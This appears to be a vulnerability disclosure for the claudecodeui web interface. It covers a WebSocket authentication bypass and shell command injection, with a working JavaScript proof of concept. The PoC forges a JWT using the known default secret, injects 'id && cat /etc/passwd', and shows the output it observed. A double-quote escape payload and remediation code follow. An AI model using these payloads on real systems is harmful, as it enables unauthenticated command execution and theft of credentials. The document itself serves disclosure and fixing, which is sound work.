2. WebSocket Authentication Skips Database Validation — CWE-287

File: server/middleware/auth.js, lines 82–108

authenticateWebSocket() only verifies the JWT signature. It does not check whether the userId in the payload actually exists in the database — unlike authenticateToken() which is used for REST endpoints and does perform this check:

// authenticateWebSocket() — VULNERABLE
const decoded = jwt.verify(token, JWT_SECRET);
return decoded;  // ← userId never verified against DB

// authenticateToken() — CORRECT (REST endpoints)
const decoded = jwt.verify(token, JWT_SECRET);
const user = userDb.getUserById(decoded.userId);  // ← DB check present
if (!user) return res.status(401)...

A forged token with a non-existent userId passes WebSocket authentication, bypassing access control entirely.

3. OS Command Injection via WebSocket Shell — CWE-78

File: server/index.js, line 1179

shellCommand = `cd "${projectPath}" && ${initialCommand}`;

Both projectPath and initialCommand are taken directly from the WebSocket message payload and interpolated into a bash command string without any sanitization, enabling arbitrary OS command execution.

A secondary injection vector exists at line 1257 via unsanitized sessionId:

shellCommand = `cd "${projectPath}" && claude --resume ${sessionId} || claude`;

Proof of Concept

Requirements: Node.js, jsonwebtoken, ws

import jwt from 'jsonwebtoken';
import WebSocket from 'ws';

// Step 1: Sign a token with the publicly known default secret
const token = jwt.sign(
  { userId: 1337, username: 'attacker' },
  'claude-ui-dev-secret-change-in-production'
);

// Step 2: Connect to /shell WebSocket — auth passes because
//         authenticateWebSocket() does not verify userId in DB
const ws = new WebSocket(`ws://TARGET_HOST:3001/shell?token=${token}`);

ws.on('open', () => {
  // Step 3: initialCommand is injected directly into bash
  ws.send(JSON.stringify({
    type: 'init',
    projectPath: '/tmp',
    initialCommand: 'id && cat /etc/passwd',
    isPlainShell: true,
    hasSession: false
  }));
});

ws.on('message', (data) => {
  const msg = JSON.parse(data);
  if (msg.type === 'output') process.stdout.write(msg.data);
});

Actual output observed during testing:

uid=1001(user) gid=1001(user) groups=1001(user),27(sudo)
ubuntu
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

Secondary vector — projectPath double-quote escape injection

ws.send(JSON.stringify({
  type: 'init',
  projectPath: '" && id && echo "pwned" # ',
  provider: 'claude',
  hasSession: false
}));
// Server executes: cd "" && id && echo "pwned" # " && claude
// Output: uid=1001... / pwned

Additional Findings

Impact

Any claudecodeui instance accessible over the network where JWT_SECRET is not explicitly configured (the default case, as it is absent from .env.example) is vulnerable to:

• Full OS command execution as the server process user
• File system read/write access
• Credential theft (SSH keys, .env files, API keys stored on the host)
• Lateral movement within the host network

The attack requires zero authentication and succeeds immediately after default installation.

Remediation

Fix 1 — Enforce explicit JWT_SECRET; remove insecure default

// server/middleware/auth.js
const JWT_SECRET = process.env.JWT_SECRET;
if (!JWT_SECRET) {
  console.error('[FATAL] JWT_SECRET environment variable must be set');
  process.exit(1);
}

Also add JWT_SECRET= to .env.example with a clear instruction to set a strong random value.

Fix 2 — Add DB user existence check in WebSocket authentication

const authenticateWebSocket = (token) => {
  if (!token) return null;
  try {
    const decoded = jwt.verify(token, JWT_SECRET);
    const user = userDb.getUserById(decoded.userId); // ← add
    if (!user) return null;                          // ← add
    return user;
  } catch (error) {
    return null;
  }
};

Fix 3 — Replace shell string interpolation with spawn argument array

// Instead of:
const shellProcess = pty.spawn('bash', ['-c', `cd "${projectPath}" && ${initialCommand}`], ...);

// Use:
const shellProcess = pty.spawn(initialCommand.split(' ')[0], initialCommand.split(' ').slice(1), {
  cwd: projectPath  // pass path as cwd, not shell string
});

Fix 4 — Additional hardening

• Add expiresIn: '24h' to generateToken()
• Restrict CORS to specific trusted origins
• Rate-limit and restrict /api/auth/register to localhost on initial setup

Timeline

Researcher

Ethan-Yang — OPCIA